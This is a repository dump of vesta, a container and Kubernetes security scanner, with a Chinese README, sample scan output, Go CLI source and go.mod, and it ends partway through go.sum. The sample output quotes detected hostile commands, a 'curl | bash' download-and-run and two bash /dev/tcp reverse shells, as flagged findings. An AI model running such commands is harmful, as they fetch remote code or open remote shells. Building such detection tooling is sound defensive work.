--- ## 检查项 > Scan - 支持输入的方式 - image - container - filesystem - vm (TODO) - 扫描通过主流安装方法安装程序的漏洞 - apt/apt-get - rpm - yum - dpkg - 扫描软件依赖的漏洞以及恶意投毒的依赖包 - Java(Jar, War, 以及主流依赖log4j) - NodeJs(NPM, YARN) - Python(Wheel, Poetry) - Golang(Go binary) - PHP(Composer, 以及主流的PHP框架: laravel, thinkphp, wordpress, wordpress插件等) - Rust(Rust binary) - Others(其他可能造成容器逃逸的文件,或潜在的投毒镜像) > Docker检查 | Supported | Check Item | Description | Severity | Reference | |-----------|---------------------------|-----------------------------------|---------------------------|---------------------------------------------------------------------------------------------| | ✔ | PrivilegeAllowed | 危险的特权模式 | critical | [Ref](https://github.com/kvesta/vesta/wiki/Capabilities-and-Privileged-Checking-References) | | ✔ | Capabilities | 危险capabilities被设置 | critical | [Ref](https://github.com/kvesta/vesta/wiki/Capabilities-and-Privileged-Checking-References) | | ✔ | Volume Mount | 敏感或危险目录被挂载 | critical | [Ref](https://github.com/kvesta/vesta/wiki/Volume-Mount-Checking-References) | | ✔ | Docker Unauthorized | 2375端口打开并且未授权 | critical | [Ref](https://github.com/vulhub/vulhub/blob/master/docker/unauthorized-rce/README.md) | | ✔ | Kernel version | 当前内核版本存在逃逸漏洞 | critical | [Ref](https://github.com/kvesta/vesta/wiki/Kernel-Version-References) | | ✔ | Network Module | Net模式为`host`模式或同时在特定containerd版本下 | critical/medium | | | ✔ | Pid Module | Pid模式被设置为`host` | high | | | ✔ | Docker Server version | Docker Server版本存在漏洞 | critical/high/ medium/low | | | ✔ | Docker env password check | Docker env是否存在弱密码 | high/medium | | | ✔ | Docker history | Docker layers 存在不安全的命令 | high/medium | | | ✔ | Docker Backdoor | Docker env command 存在恶意命令 | critical/high | | | ✔ | Docker Swarm | Docker Swarm存在危险配置信息以及危险的容器检测 | medium/low | | | ✔ | Docker supply chain | Docker的相关组建存在危险的配置 | critical/high/ medium | [Ref](https://github.com/kvesta/vesta/wiki/Docker-supply-chain-Checking-References) | --- > Kubernetes检查 | Supported | Check Item | Description | Severity | Reference | |-----------|----------------------------------------------------------|---------------------------------------------|---------------------------|-----------------------------------------------------------------------------------------------------| | ✔ | PrivilegeAllowed | 危险的特权模式 | critical | [Ref](https://github.com/kvesta/vesta/wiki/Capabilities-and-Privileged-Checking-References) | | ✔ | Capabilities | 危险capabilities被设置 | critical | [Ref](https://github.com/kvesta/vesta/wiki/Capabilities-and-Privileged-Checking-References) | | ✔ | PV and PVC | PV 被挂载到敏感目录并且状态为active | critical/medium | [Ref](https://github.com/kvesta/vesta/wiki/Volume-Mount-Checking-References) | | ✔ | RBAC | K8s 权限存在危险配置 | high/medium/ low/warning | | | ✔ | Kubernetes-dashborad | 检查 `-enable-skip-login`以及 dashborad的账户权限 | critical/high/ low | [Ref](https://xz.aliyun.com/t/11316#toc-10) | | ✔ | Kernel version | 当前内核版本存在逃逸漏洞 | critical | [Ref](https://github.com/kvesta/vesta/wiki/Kernel-Version-References) | | ✔ | Docker Server version (k8s versions is less than v1.24) | Docker Server版本存在漏洞 | critical/high/ medium/low | | | ✔ | Kubernetes certification expiration | 证书到期时间小于30天 | medium | | | ✔ | ConfigMap and Secret check | ConfigMap 或者 Secret是否存在弱密码 | high/medium/low | [Ref](https://github.com/kvesta/vesta/wiki/ConfigMap-and-Secret-Checking-References) | | ✔ | PodSecurityPolicy check (k8s version under the v1.25) | PodSecurityPolicy过度容忍Pod不安全配置 | high/medium/low | [Ref](https://kubernetes.io/blog/2021/04/06/podsecuritypolicy-deprecation-past-present-and-future/) | | ✔ | Auto Mount ServiceAccount Token | Pod默认挂载了service token | critical/high/ medium/low | [Ref](https://kubernetes.io/zh-cn/docs/tasks/configure-pod-container/configure-service-account/) | | ✔ | NoResourceLimits | 没有限制资源的使用,例如CPU,Memory, 存储 | low | [Ref](https://github.com/kvesta/vesta/wiki/Resource-limitation-Checking-References) | | ✔ | Job and Cronjob | Job或CronJob没有设置seccomp或seLinux安全策略 | low | [Ref](https://www.aquasec.com/cloud-native-academy/docker-container/docker-cis-benchmark/) | | ✔ | Envoy admin | Envoy admin被配置以及监听`0.0.0.0`. | high/medium | [Ref](https://www.envoyproxy.io/docs/envoy/latest/start/quick-start/admin#admin) | | ✔ | Cilium version | Cilium 存在漏洞版本 | critical/high/ medium/low | [Ref](https://security.snyk.io/package/golang/github.com%2Fcilium%2Fcilium) | | ✔ | Istio configurations | Istio 存在漏洞版本以及安全配置检查 | critical/high/ medium/low | [Ref](https://istio.io/latest/news/security/) | | ✔ | Kubelet 10255/10250 and Kubectl proxy | 存在node打开了10250或者10255并且未授权或 Kubectl proxy开启 | high/medium/ low | | | ✔ | Etcd configuration | Etcd 安全配置检查 | high/medium | | | ✔ | Sidecar configurations | Sidecar 安全配置检查以及Env环境检查 | critical/high/ medium/low | | | ✔ | Pod annotation | Pod annotation 存在不安全配置 | high/medium/ low/warning | [Ref](https://github.com/kvesta/vesta/wiki/Annotation-Checking-References) | | ✔ | DaemonSet | DaemonSet存在不安全配置 | critical/high/ medium/low | | | ✔ | Backdoor | 检查k8s中是否有后门 | critical/high | [Ref](https://github.com/kvesta/vesta/wiki/Backdoor-Detection) | | ✔ | Lateral admin movement | Pod被特意配置到Master节点中 | medium/low | | ## 编译并使用vesta 1. 编译vesta - 使用`make build` 进行编译 - 从[Releases](https://github.com/kvesta/vesta/releases)上下载可执行文件 2. 使用vesta检查镜像过容器中的漏洞组件版本(使用镜像ID,镜像标签,文件系统路径或使用`-f`文件输入均可) ```bash $./vesta scan container -f example.tar 2022/11/29 22:50:19 Begin upgrading vulnerability database 2022/11/29 22:50:19 Vulnerability Database is already initialized 2022/11/29 22:50:19 Begin to analyze the layer 2022/11/29 22:50:35 Begin to scan the layer Detected 216 vulnerabilities +-----+--------------------+-----------------+------------------+-------+----------+------------------------------------------------------------------+ | 208 | python3.6 - Django | 2.2.3 | CVE-2019-14232 | 7.5 | high | An issue was discovered | | | | | | | | in Django 1.11.x before | | | | | | | | 1.11.23, 2.1.x before 2.1.11, | | | | | | | | and 2.2.x before 2.2.4. If | | | | | | | | django.utils.text.Truncator's | | | | | | | | chars() and words() methods | | | | | | | | were passed the html=True | | | | | | | | argument, t ... | +-----+ +-----------------+------------------+-------+----------+------------------------------------------------------------------+ | 209 | | 2.2.3 | CVE-2019-14233 | 7.5 | high | An issue was discovered | | | | | | | | in Django 1.11.x before | | | | | | | | 1.11.23, 2.1.x before 2.1.11, | | | | | | | | and 2.2.x before 2.2.4. | | | | | | | | Due to the behaviour of | | | | | | | | the underlying HTMLParser, | | | | | | | | django.utils.html.strip_tags | | | | | | | | would be extremely ... | +-----+ +-----------------+------------------+-------+----------+------------------------------------------------------------------+ | 210 | | 2.2.3 | CVE-2019-14234 | 9.8 | critical | An issue was discovered in | | | | | | | | Django 1.11.x before 1.11.23, | | | | | | | | 2.1.x before 2.1.11, and 2.2.x | | | | | | | | before 2.2.4. Due to an error | | | | | | | | in shallow key transformation, | | | | | | | | key and index lookups for | | | | | | | | django.contrib.postgres.f ... | +-----+--------------------+-----------------+------------------+-------+----------+------------------------------------------------------------------+ | 211 | python3.6 - numpy | 1.24.2 | | 8.5 | high | Malicious package is detected in | | | | | | | | '/usr/local/lib/python3.6/site-packages/numpy/setup.py', | | | | | | | | malicious command "curl https://vuln.com | bash" are | | | | | | | | detected. | +-----+--------------------+-----------------+------------------+-------+----------+------------------------------------------------------------------+ Docker Histories: +----+---------------+----------------------------+-------+-------+--------+--------------------------------+ | ID | NAME | CURRENT/VULNERABLE VERSION | CVEID | SCORE | LEVEL | DESCRIPTION | +----+---------------+----------------------------+-------+-------+--------+--------------------------------+ | 1 | Image History | - / - | - | 0.0 | high | Confusion value found | | | | | | | | in ENV: 'command' with | | | | | | | | the plain text 'bash -i | | | | | | | | >&/dev/tcp/127.0.0.1/9999 0>&1 | | | | | | | | '. | +----+---------------+----------------------------+-------+-------+--------+--------------------------------+ | 2 | | - / - | - | 0.0 | medium | Docker history has found the | | | | | | | | senstive environment with | | | | | | | | key 'SECRET_KEY' and value: | | | | | | | | 123456. | +----+---------------+----------------------------+-------+-------+--------+--------------------------------+ ``` 3. 使用vesta检查Docker的基线配置 也可以在docker中使用 ```bash make run.docker ``` ```bash $./vesta analyze docker 2022/11/29 23:06:32 Start analysing Detected 3 vulnerabilities +----+----------------------------+----------------+--------------------------------+----------+--------------------------------+ | ID | CONTAINER DETAIL | PARAM | VALUE | SEVERITY | DESCRIPTION | +----+----------------------------+----------------+--------------------------------+----------+--------------------------------+ | 1 | Name: Kernel | kernel version | 5.10.104-linuxkit | critical | Kernel version is suffering | | | ID: None | | | | the CVE-2022-0492 with | | | | | | | CAP_SYS_ADMIN and v1 | | | | | | | architecture of cgroups | | | | | | | vulnerablility, has a | | | | | | | potential container escape. | +----+----------------------------+----------------+--------------------------------+----------+--------------------------------+ | 2 | Name: vesta_vuln_test | kernel version | 5.10.104-linuxkit | critical | Kernel version is suffering | | | ID: 207cf8842b15 | | | | the Dirty Pipe vulnerablility, | | | | | | | has a potential container | | | | | | | escape. | +----+----------------------------+----------------+--------------------------------+----------+--------------------------------+ | 3 | Name: Image Tag | Privileged | true | critical | There has a potential container| | | ID: None | | | | escape in privileged module. | | | | | | | | +----+----------------------------+----------------+--------------------------------+----------+--------------------------------+ | 4 | Name: Image Configuration | Image History | Image name: | high | Weak password found | | | ID: None | | vesta_history_test:latest | | | in command: ' echo | | | | | Image ID: 4bc05e1e3881 | | 'password=test123456' > | | | | | | | config.ini # buildkit'. | +----+----------------------------+----------------+--------------------------------+----------+--------------------------------+ ``` 4. 使用vesta检查Kubernetes的基线配置 ```bash 2022/11/29 23:15:59 Start analysing 2022/11/29 23:15:59 Getting docker server version 2022/11/29 23:15:59 Getting kernel version Detected 4 vulnerabilities Pods: +----+--------------------------------+--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+ | ID | POD DETAIL | PARAM | VALUE | TYPE | SEVERITY | DESCRIPTION | +----+--------------------------------+--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+ | 1 | Name: vulntest | Namespace: | sidecar name: vulntest | | true | Pod | critical | There has a potential | | | default | Status: Running | | Privileged | | | | container escape in privileged | | | Node Name: docker-desktop | | | | | module. | + + +--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+ | | | sidecar name: vulntest | | Token:Password123456 | Sidecar EnvFrom | high | Sidecar envFrom ConfigMap has | | | | env | | | | found weak password: | | | | | | | | 'Password123456'. | + + +--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+ | | | sidecar name: sidecartest | | MALWARE: bash -i >& | Sidecar Env | high | Container 'sidecartest' finds | | | | env | /dev/tcp/10.0.0.1/8080 0>&1 | | | high risk content(score: | | | | | | | | 0.91 out of 1.0), which is a | | | | | | | | suspect command backdoor. | +----+--------------------------------+--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+ | 2 | Name: vulntest2 | Namespace: | sidecar name: vulntest2 | | CAP_SYS_ADMIN | capabilities.add | critical | There has a potential | | | default | Status: Running | | capabilities | | | | container escape in privileged | | | Node Name: docker-desktop | | | | | module. | + + +--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+ | | | sidecar name: vulntest2 | | true | kube-api-access-lcvh8 | critical | Mount service account | | | | automountServiceAccountToken | | | | and key permission are | | | | | | | | given, which will cause a | | | | | | | | potential container escape. | | | | | | | | Reference clsuterRolebind: | | | | | | | | vuln-clusterrolebinding | | | | | | | | | roleBinding: vuln-rolebinding | + + +--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+ | | | sidecar name: vulntest2 | | cpu | Pod | low | CPU usage is not limited. | | | | Resource | | | | | | | | | | | | | +----+--------------------------------+--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+ Configures: +----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+ | ID | TYPEL | PARAM | VALUE | SEVERITY | DESCRIPTION | +----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+ | 1 | K8s version less than v1.24 | kernel version | 5.10.104-linuxkit | critical | Kernel version is suffering | | | | | | | the CVE-2022-0185 with | | | | | | | CAP_SYS_ADMIN vulnerablility, | | | | | | | has a potential container | | | | | | | escape. | +----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+ | 2 | ConfigMap | ConfigMap Name: vulnconfig | db.string:mysql+pymysql://dbapp:Password123@db:3306/db | high | ConfigMap has found weak | | | | Namespace: default | | | password: 'Password123'. | +----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+ | 3 | Secret | Secret Name: vulnsecret-auth | password:Password123 | high | Secret has found weak | | | | Namespace: default | | | password: 'Password123'. | +----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+ | 4 | ClusterRoleBinding | binding name: | verbs: get, watch, list, | high | Key permissions with key | | | | vuln-clusterrolebinding | | create, update | resources: | | resources given to the | | | | rolename: vuln-clusterrole | | pods, services | | default service account, which | | | | kind: ClusterRole | subject | | | will cause a potential data | | | | kind: Group | subject name: | | | leakage. | | | | system:serviceaccounts:vuln | | | | | | | | namespace: vuln | | | | +----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+ | 5 | RoleBinding | binding name: vuln-rolebinding | verbs: get, watch, list, | high | Key permissions with key | | | | | rolename: vuln-role | role | create, update | resources: | | resources given to the | | | | kind: Role | subject kind: | pods, services | | default service account, which | | | | ServiceAccount | subject name: | | | will cause a potential data | | | | default | namespace: default | | | leakage. | +----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+ | 6 | ClusterRoleBinding | binding name: | verbs: get, watch, list, | warning | Key permission are given | | | | vuln-clusterrolebinding2 | | create, update | resources: | | to unknown user 'testUser', | | | | rolename: vuln-clusterrole | | pods, services | | printing it for checking. | | | | subject kind: User | subject | | | | | | | name: testUser | namespace: | | | | | | | all | | | | +----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+ ``` ## 使用方法 ```bash $./vesta -h Vesta is a static analysis of vulnerabilities, Docker and Kubernetes configuration detect toolkit Tutorial is available at https://github.com/kvesta/vesta Usage: vesta [command] Available Commands: analyze Kubernetes analyze completion Generate the autocompletion script for the specified shell help Help about any command scan Container scan update Update vulnerability database version Print version information and quit Flags: -h, --help help for vesta ``` ## 相关资料 ### KCon 2023 兵器谱入选项目 - [https://kcon.knownsec.com/index.php?s=bqp&c=category&id=2](https://kcon.knownsec.com/index.php?s=bqp&c=category&id=2) ================================================ FILE: cli/analyze.go ================================================ package cli import ( "context" "github.com/kvesta/vesta/config" "github.com/kvesta/vesta/internal" "github.com/spf13/cobra" ) func analyze() { analyzeCmd := &cobra.Command{ Use: "analyze", Short: `Kubernetes and Docker analyze`, Long: `Examples: # analyze Docker $ vesta analyze docker # Full analyze Kubernetes $ vesta analyze k8s # analyze by specifying config $ vesta analyze k8s --kubeconfig config # analyze by specifying token $ vesta analyze k8s --token --server --insecure # analyze all the namespace $ vesta analyze k8s -n all # analyze a special namespace $ vesta analyze k8s -n namespace`} dockerAnalyze := &cobra.Command{ Use: "docker", Short: "analyze docker container", Run: func(cmd *cobra.Command, args []string) { ctx := config.Ctx ctx = context.WithValue(ctx, "output", outfile) internal.DoInspectInDocker(ctx) }, } kubernetesAnalyze := &cobra.Command{ Use: "k8s", Short: "analyze configure of kubernetes", Run: func(cmd *cobra.Command, args []string) { ctx := config.Ctx ctx = context.WithValue(ctx, "nameSpace", nameSpace) ctx = context.WithValue(ctx, "kubeconfig", kubeconfig) ctx = context.WithValue(ctx, "output", outfile) ctx = context.WithValue(ctx, "token", bearerToken) ctx = context.WithValue(ctx, "server", serverHost) ctx = context.WithValue(ctx, "insecure", insecure) internal.DoInspectInKubernetes(ctx) }, } kubernetesAnalyze.Flags().StringVarP(&nameSpace, "ns", "n", "standard", "specific namespace") kubernetesAnalyze.Flags().StringVar(&kubeconfig, "kubeconfig", "default", "specific configure file") kubernetesAnalyze.Flags().BoolVar(&insecure, "insecure", false, "skip verify the tls certificate") kubernetesAnalyze.Flags().StringVarP(&outfile, "output", "o", "output", "output file location") kubernetesAnalyze.Flags().StringVar(&bearerToken, "token", "", "k8s authentication token") kubernetesAnalyze.Flags().StringVar(&serverHost, "server", "", "k8s server host") dockerAnalyze.Flags().StringVarP(&outfile, "output", "o", "output", "output file location") analyzeCmd.AddCommand(dockerAnalyze) analyzeCmd.AddCommand(kubernetesAnalyze) rootCmd.AddCommand(analyzeCmd) } ================================================ FILE: cli/banner.go ================================================ package cli const versions = "v1.0.11" ================================================ FILE: cli/cobra.go ================================================ package cli import ( "errors" "fmt" "strings" "github.com/spf13/cobra" ) func NoArgs(cmd *cobra.Command, args []string) error { if len(args) == 0 { return nil } if cmd.HasSubCommands() { return errors.New(fmt.Sprintf("\n" + strings.TrimRight(cmd.UsageString(), "\n"))) } return errors.New(fmt.Sprintf("\"%s\" accepts no argument(s).\nSee '%s --help'.\n\nUsage: %s\n\n%s", cmd.CommandPath(), cmd.CommandPath(), cmd.UseLine(), cmd.Short)) } ================================================ FILE: cli/command.go ================================================ package cli import ( "context" "fmt" "log" "github.com/kvesta/vesta/config" "github.com/kvesta/vesta/pkg/vulnlib" "github.com/spf13/cobra" ) var ( rootCmd = &cobra.Command{ Use: "vesta [OPTIONS]", Short: "Docker and Kubernetes analysis", Long: `Vesta is a static analysis of vulnerabilities, Docker and Kubernetes configuration detect toolkit Tutorial is available at https://github.com/kvesta/vesta`, } tarFile string nameSpace string kubeconfig string bearerToken string serverHost string outfile string updateall bool skipUpdate bool insecure bool ) func Execute() error { versionCmd := &cobra.Command{ Use: "version", Short: "Print version information and qui", Args: NoArgs, Run: func(cmd *cobra.Command, args []string) { fmt.Println(versions) }, } // Upgrade vulnerability database dataupgradeCmd := &cobra.Command{ Use: "update", Short: "Update vulnerability database", Args: NoArgs, Run: func(cmd *cobra.Command, args []string) { ctx := config.Ctx ctx = context.WithValue(ctx, "reset", updateall) err := vulnlib.Fetch(ctx) if err != nil { log.Printf("Updating vulnerability database failed, error: %v", err) } log.Printf(config.Green("Updating vulnerability database success")) }, } dataupgradeCmd.Flags().BoolVarP(&updateall, "all", "a", false, "Reset the database") rootCmd.AddCommand(dataupgradeCmd) rootCmd.AddCommand(versionCmd) analyze() scan() return rootCmd.Execute() } ================================================ FILE: cli/scan.go ================================================ package cli import ( "context" "fmt" "io" "log" "os" "github.com/kvesta/vesta/config" "github.com/kvesta/vesta/internal" "github.com/kvesta/vesta/pkg/inspector" "github.com/spf13/cobra" ) func scan() { scanCmd := &cobra.Command{ Use: "scan [OPTIONS]", Short: `Container scan`, Long: `Examples: # Scan a container image $ vesta scan image nginx:latest # Scan a container image with specific host $ DOCKER_HOST= vesta scan image nginx:latest # Scan a container image from a tar archive $ vesta scan image -f python.tar # Scan a running container $ vesta scan container nginx1 # Scan a exported container from a tar archive $ vesta scan container -f nginx.tar # Scan a filesystem $ vesta scan fs filepath/`} imageCheck := &cobra.Command{ Use: "image", Short: "input from image", Run: func(cmd *cobra.Command, args []string) { ctx := config.Ctx ctx = context.WithValue(ctx, "tarType", "image") ctx = context.WithValue(ctx, "output", outfile) ctx = context.WithValue(ctx, "skip", skipUpdate) if len(args) < 1 && tarFile == "" { fmt.Println("Require at least 1 argument.") os.Exit(1) } var tarIO []io.ReadCloser if tarFile == "" { var err error tarIO, err = inspector.GetTarFromID(ctx, args[0]) if err != nil { os.Exit(1) } } if tarFile == "" && len(tarIO) < 1 { log.Printf("Cannot get tarfile. " + "Make sure that you have the right image ID " + "or use -f to get from tar file") return } internal.DoScan(ctx, tarFile, tarIO) }, } containerCheck := &cobra.Command{ Use: "container", Short: "input from inspector", Run: func(cmd *cobra.Command, args []string) { ctx := config.Ctx ctx = context.WithValue(ctx, "tarType", "container") ctx = context.WithValue(ctx, "output", outfile) ctx = context.WithValue(ctx, "skip", skipUpdate) if len(args) < 1 && tarFile == "" { fmt.Println("Require at least 1 argument.") os.Exit(1) } var tarIO []io.ReadCloser if tarFile == "" { var err error tarIO, err = inspector.GetTarFromID(ctx, args[0]) if err != nil { os.Exit(1) } } if tarFile == "" && len(tarIO) < 1 { log.Printf("Cannot get tarfile. " + "Make sure that you have the right container ID" + "or use -f to get from tar file") return } internal.DoScan(ctx, tarFile, tarIO) }, } fileSystemCheck := &cobra.Command{ Use: "fs", Short: "input from path of filesystem", Run: func(cmd *cobra.Command, args []string) { ctx := config.Ctx ctx = context.WithValue(ctx, "tarType", "filesystem") ctx = context.WithValue(ctx, "output", outfile) ctx = context.WithValue(ctx, "skip", skipUpdate) if len(args) < 1 { fmt.Println("Require path of filesystem.") os.Exit(1) } internal.DoScan(ctx, args[0], nil) }, } imageCheck.Flags().StringVarP(&tarFile, "file", "f", "", "path of tar file") imageCheck.Flags().StringVarP(&outfile, "output", "o", "output", "output file location") imageCheck.Flags().BoolVar(&skipUpdate, "skip", false, "skip the updating") containerCheck.Flags().StringVarP(&tarFile, "file", "f", "", "path of tar file") containerCheck.Flags().StringVarP(&outfile, "output", "o", "output", "output file location") containerCheck.Flags().BoolVar(&skipUpdate, "skip", false, "skip the updating") fileSystemCheck.Flags().BoolVar(&skipUpdate, "skip", false, "skip the updating") fileSystemCheck.Flags().StringVarP(&outfile, "output", "o", "output", "output file location") scanCmd.AddCommand(imageCheck) scanCmd.AddCommand(containerCheck) scanCmd.AddCommand(fileSystemCheck) rootCmd.AddCommand(scanCmd) } ================================================ FILE: cmd/vesta/main.go ================================================ package main import ( "log" "os" "github.com/kvesta/vesta/cli" ) func main() { if err := cli.Execute(); err != nil { log.Printf("%v", err) os.Exit(1) } } ================================================ FILE: config/conf.go ================================================ package config import ( "context" "github.com/fatih/color" ) var ( Yellow = color.New(color.FgYellow).SprintFunc() Red = color.New(color.FgRed).SprintFunc() Green = color.New(color.FgGreen).SprintFunc() Pink = color.New(color.FgMagenta).SprintFunc() Ctx = context.Background() SeverityMap = map[string]int{ "critical": 5, "high": 4, "medium": 3, "low": 2, "warning": 1, } ) ================================================ FILE: go.mod ================================================ module github.com/kvesta/vesta go 1.18 require ( github.com/BurntSushi/toml v0.3.1 github.com/docker/docker v20.10.17+incompatible github.com/fatih/color v1.13.0 github.com/knqyf263/go-rpmdb v0.0.0-20221030135625-4082a22221ce github.com/mattn/go-sqlite3 v1.14.15 github.com/microsoft/go-rustaudit v0.0.0-20220808201409-204dfee52032 github.com/sergi/go-diff v1.3.1 github.com/spf13/cobra v1.5.0 github.com/tidwall/gjson v1.14.1 k8s.io/apimachinery v0.22.5 k8s.io/client-go v0.22.5 ) require ( github.com/davecgh/go-spew v1.1.1 // indirect github.com/go-logr/logr v1.2.2 // indirect github.com/go-ole/go-ole v1.2.6 // indirect github.com/gogo/protobuf v1.3.2 // indirect github.com/google/go-cmp v0.5.6 // indirect github.com/google/gofuzz v1.2.0 // indirect github.com/google/uuid v1.3.0 // indirect github.com/googleapis/gnostic v0.5.5 // indirect github.com/inconshreveable/mousetrap v1.0.0 // indirect github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 // indirect github.com/mattn/go-colorable v0.1.9 // indirect github.com/mattn/go-isatty v0.0.14 // indirect github.com/mattn/go-runewidth v0.0.9 // indirect github.com/moby/spdystream v0.2.0 // indirect github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect github.com/modern-go/reflect2 v1.0.2 // indirect github.com/morikuni/aec v1.0.0 // indirect github.com/pkg/errors v0.9.1 // indirect github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0 // indirect github.com/spf13/pflag v1.0.5 // indirect github.com/stretchr/testify v1.8.1 // indirect github.com/tidwall/match v1.1.1 // indirect github.com/tidwall/pretty v1.2.0 // indirect github.com/tklauser/numcpus v0.6.0 // indirect golang.org/x/mod v0.4.2 // indirect golang.org/x/sys v0.2.0 // indirect golang.org/x/term v0.0.0-20210927222741-03fcf44c2211 // indirect golang.org/x/text v0.3.7 // indirect golang.org/x/tools v0.1.1 // indirect golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 // indirect gopkg.in/inf.v0 v0.9.1 // indirect gopkg.in/yaml.v2 v2.4.0 // indirect k8s.io/klog/v2 v2.30.0 // indirect lukechampine.com/uint128 v1.1.1 // indirect modernc.org/cc/v3 v3.36.0 // indirect modernc.org/ccgo/v3 v3.16.6 // indirect modernc.org/libc v1.16.7 // indirect modernc.org/mathutil v1.4.1 // indirect modernc.org/memory v1.1.1 // indirect modernc.org/opt v0.1.1 // indirect modernc.org/sqlite v1.17.3 // indirect modernc.org/strutil v1.1.1 // indirect modernc.org/token v1.0.0 // indirect sigs.k8s.io/structured-merge-diff/v4 v4.1.2 // indirect sigs.k8s.io/yaml v1.2.0 // indirect ) require ( github.com/Microsoft/go-winio v0.5.2 // indirect github.com/docker/distribution v2.8.1+incompatible // indirect github.com/docker/go-connections v0.4.0 // indirect github.com/docker/go-units v0.4.0 // indirect github.com/golang/protobuf v1.5.2 // indirect github.com/hashicorp/go-version v1.6.0 github.com/imdario/mergo v0.3.12 // indirect github.com/json-iterator/go v1.1.12 // indirect github.com/knqyf263/go-rpm-version v0.0.0-20220614171824-631e686d1075 github.com/moby/term v0.0.0-20210619224110-3f7ff695adc6 // indirect github.com/olekukonko/tablewriter v0.0.5 github.com/opencontainers/go-digest v1.0.0 // indirect github.com/opencontainers/image-spec v1.0.3-0.20211202183452-c5a74bcca799 // indirect github.com/shirou/gopsutil v3.21.11+incompatible github.com/sirupsen/logrus v1.9.0 // indirect github.com/tklauser/go-sysconf v0.3.11 // indirect github.com/yusufpapurcu/wmi v1.2.2 // indirect golang.org/x/net v0.0.0-20220722155237-a158d28d115b // indirect golang.org/x/oauth2 v0.0.0-20211104180415-d3ed0bb246c8 // indirect golang.org/x/time v0.0.0-20220722155302-e5dcc9cfc0b9 // indirect google.golang.org/appengine v1.6.7 // indirect google.golang.org/protobuf v1.28.0 // indirect gopkg.in/yaml.v3 v3.0.1 gotest.tools/v3 v3.3.0 // indirect k8s.io/api v0.22.5 k8s.io/utils v0.0.0-20220728103510-ee6ede2d64ed // indirect ) replace golang.org/x/sys => golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab ================================================ FILE: go.sum ================================================ cloud.google.com/go v0.26.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw= cloud.google.com/go v0.34.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw= cloud.google.com/go v0.38.0/go.mod h1:990N+gfupTy94rShfmMCWGDn0LpTmnzTp2qbd1dvSRU= cloud.google.com/go v0.44.1/go.mod h1:iSa0KzasP4Uvy3f1mN/7PiObzGgflwredwwASm/v6AU= cloud.google.com/go v0.44.2/go.mod h1:60680Gw3Yr4ikxnPRS/oxxkBccT6SA1yMk63TGekxKY= cloud.google.com/go v0.45.1/go.mod h1:RpBamKRgapWJb87xiFSdk4g1CME7QZg3uwTez+TSTjc= cloud.google.com/go v0.46.3/go.mod h1:a6bKKbmY7er1mI7TEI4lsAkts/mkhTSZK8w33B4RAg0= cloud.google.com/go v0.50.0/go.mod h1:r9sluTvynVuxRIOHXQEHMFffphuXHOMZMycpNR5e6To= cloud.google.com/go v0.52.0/go.mod h1:pXajvRH/6o3+F9jDHZWQ5PbGhn+o8w9qiu/CffaVdO4= cloud.google.com/go v0.53.0/go.mod h1:fp/UouUEsRkN6ryDKNW/Upv/JBKnv6WDthjR6+vze6M= cloud.google.com/go v0.54.0/go.mod h1:1rq2OEkV3YMf6n/9ZvGWI3GWw0VoqH/1x2nd8Is/bPc= cloud.google.com/go v0.56.0/go.mod h1:jr7tqZxxKOVYizybht9+26Z/gUq7tiRzu+ACVAMbKVk= cloud.google.com/go v0.57.0/go.mod h1:oXiQ6Rzq3RAkkY7N6t3TcE6jE+CIBBbA36lwQ1JyzZs= cloud.google.com/go v0.62.0/go.mod h1:jmCYTdRCQuc1PHIIJ/maLInMho30T/Y0M4hTdTShOYc= cloud.google.com/go v0.65.0/go.mod h1:O5N8zS7uWy9vkA9vayVHs65eM1ubvY4h553ofrNHObY= cloud.google.com/go/bigquery v1.0.1/go.mod h1:i/xbL2UlR5RvWAURpBYZTtm/cXjCha9lbfbpx4poX+o= cloud.google.com/go/bigquery v1.3.0/go.mod h1:PjpwJnslEMmckchkHFfq+HTD2DmtT67aNFKH1/VBDHE= cloud.google.com/go/bigquery v1.4.0/go.mod h1:S8dzgnTigyfTmLBfrtrhyYhwRxG72rYxvftPBK2Dvzc= cloud.google.com/go/bigquery v1.5.0/go.mod h1:snEHRnqQbz117VIFhE8bmtwIDY80NLUZUMb4Nv6dBIg= cloud.google.com/go/bigquery v1.7.0/go.mod h1://okPTzCYNXSlb24MZs83e2Do+h+VXtc4gLoIoXIAPc= cloud.google.com/go/bigquery v1.8.0/go.mod h1:J5hqkt3O0uAFnINi6JXValWIb1v0goeZM77hZzJN/fQ= cloud.google.com/go/datastore v1.0.0/go.mod h1:LXYbyblFSglQ5pkeyhO+Qmw7ukd3C+pD7TKLgZqpHYE= cloud.google.com/go/datastore v1.1.0/go.mod h1:umbIZjpQpHh4hmRpGhH4tLFup+FVzqBi1b3c64qFpCk= cloud.google.com/go/pubsub v1.0.1/go.mod h1:R0Gpsv3s54REJCy4fxDixWD93lHJMoZTyQ2kNxGRt3I= cloud.google.com/go/pubsub v1.1.0/go.mod h1:EwwdRX2sKPjnvnqCa270oGRyludottCI76h+R3AArQw= cloud.google.com/go/pubsub v1.2.0/go.mod h1:jhfEVHT8odbXTkndysNHCcx0awwzvfOlguIAii9o8iA= cloud.google.com/go/pubsub v1.3.1/go.mod 